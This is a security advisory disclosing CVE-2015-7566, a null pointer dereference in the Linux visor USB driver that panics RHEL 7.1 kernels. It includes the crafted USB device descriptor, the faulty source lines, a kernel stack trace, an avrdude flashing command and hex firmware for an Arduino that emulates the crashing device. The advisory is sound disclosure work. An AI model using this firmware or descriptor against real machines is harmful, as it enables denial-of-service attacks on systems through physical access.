OS-S Security Advisory 2016-09
Linux visor clie_5_attach Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: CVE-2015-7566
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (visor clie_5_attach driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-09_visor_clie_5_attach.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the visor (clie_5_attach) driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x54c
idProduct:	0x144
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

The clie_5_attach function of the visor driver, which is called during the 
driver initialization process, expects an OUT-Bulk-Endpoint. 
Due to an incomplete sanity check, the visor driver tries to dereference null-
pointers. 
This results in a crash of the system.

****
$ nm visor.ko.debug | grep clie_5_attach
0000000000000030 t clie_5_attach
$ addr2line -e visor.ko.debug 6d
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/usb/serial/visor.c:610
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/visor.c)
...
607
608 pipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);
609 for (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)
610 port->write_urbs[j]->pipe = pipe; /* if there is no configured OUT-
bulk-endpoint, the kernel tries to dereference null-pointers */
611
612 return 0;
613 }
...
****

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x3
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	ï?? IN-Direction
bmAttribut:	0x1	ï?? ISO-Transfer
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	ï??OUT-Direction
bmAttribut:	0x1	ï??ISO-Transfer (change this 
value to 0x2, which is the value for bulk-transfer without additional 
features, and the visor driver won't crash)
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	ï??IN-Direction
bmAttribut:	0x1	ï??ISO-Transfer
wMaxPacketSize:	0x4
bInterval:	0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
This bug was fixed upstream. A CVE number was not assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283371
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i
d=cb3232138e37129e88240a98a1d2aba2187ff57c

Kernel Stacktrace:

[ 34.568077] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.791731] usb 1-1: New USB device found, idVendor=054c, idProduct=0144
[ 34.795463] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[ 34.799619] usb 1-1: Product: Ä?
[ 34.804592] usb 1-1: Manufacturer: Ä?
[ 34.810144] usb 1-1: SerialNumber: %
[ 34.872285] usbcore: registered new interface driver visor
[ 34.879838] usbserial: USB Serial support registered for Handspring Visor / 
Palm OS
[ 34.890481] usbserial: USB Serial support registered for Sony Clie 5.0
[ 34.897769] usbserial: USB Serial support registered for Sony Clie 3.5
[ 34.914162] visor 1-1:1.0: Sony Clie 5.0 converter detected
[ 34.920288] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000058
[ 34.921136] IP: [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]
[ 34.921136] PGD 0 
[ 34.921136] Oops: 0002 [#1] SMP 
[ 34.921136] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif 
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy 
dm_mirror dm_region_hash dm_log dm_mod
[ 34.921136] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[ 34.921136] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 34.921136] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 34.921136] RIP: 0010:[<ffffffffa039306d>] [<ffffffffa039306d>] 
clie_5_attach+0x3d/0x60 [visor]
[ 34.921136] RSP: 0018:ffff88000bd23a80 EFLAGS: 00010286
[ 34.921136] RAX: 00000000c0000200 RBX: ffff88000af979d0 RCX: 0000000000000000
[ 34.921136] RDX: ffff88000be6b000 RSI: ffff88000af979c0 RDI: ffff88000af979c0
[ 34.921136] RBP: ffff88000bd23a80 R08: 0000000000000000 R09: 0000000000000000
[ 34.921136] R10: 0000000000000000 R11: ffff88000c3b9800 R12: ffff88000af979d0
[ 34.921136] R13: ffff88000c525830 R14: ffff88000af979c0 R15: ffffffffa0395200
[ 34.921136] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[ 34.921136] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 34.921136] CR2: 0000000000000058 CR3: 000000000d2a1000 CR4: 
00000000000006f0
[ 34.921136] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[ 34.921136] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 34.921136] Stack:
[ 34.921136] ffff88000bd23c18 ffffffff8145fed1 0000000000000007 000000020bd23af8
[ 34.921136] ffff88000c525830 0000000000000000 0000000000000000 ffffffff00000000
[ 34.921136] ffff88000bcd0000 ffff880000000001 ffff88000bcd0090 0000000000000000
[ 34.921136] Call Trace:
[ 34.921136] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[ 34.921136] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 34.921136] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 34.921136] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 34.921136] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 34.921136] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 34.921136] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 34.921136] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 34.921136] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 34.921136] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 34.921136] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 34.921136] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[ 34.921136] [<ffffffffa0398000>] ? 0xffffffffa0397fff
[ 34.921136] [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor]
[ 34.921136] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 34.921136] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 34.921136] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 34.921136] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 34.921136] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 34.921136] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 34.921136] Code: 28 48 8b 57 20 0f b6 80 28 02 00 00 88 82 28 02 00 00 48 
8b 0f c1 e0 0f 0d 00 00 00 c0 8b 09 c1 e1 08 09 c8 48 8b 8a 10 02 00 00 <89> 
41 58 48 8b 92 18 02 00 00 89 42 58 31 c0 5d c3 66 90 b8 ff 
[ 34.921136] RIP [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]
[ 34.921136] RSP <ffff88000bd23a80>
[ 34.921136] CR2: 0000000000000058
[ 35.341720] ---[ end trace b239663354a1c556 ]---
[ 35.347341] Kernel panic - not syncing: Fatal exception
[ 35.348314] drm_kms_helper: panic occurred, switching back to text console

Arduino Leonardo Firmware:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C4050C942F04CA
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940E02C1
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C940000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
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:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
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:10051000E104F10479F00E9458026C1B7D0B683EE7
:100520007340A0F381E0C81AD108E108F108C8516E
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:100A0000F385E02DEC0DFD1D818590E00817190799
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:100A50006081718180E00E94E0030F5F1F4F0F9063
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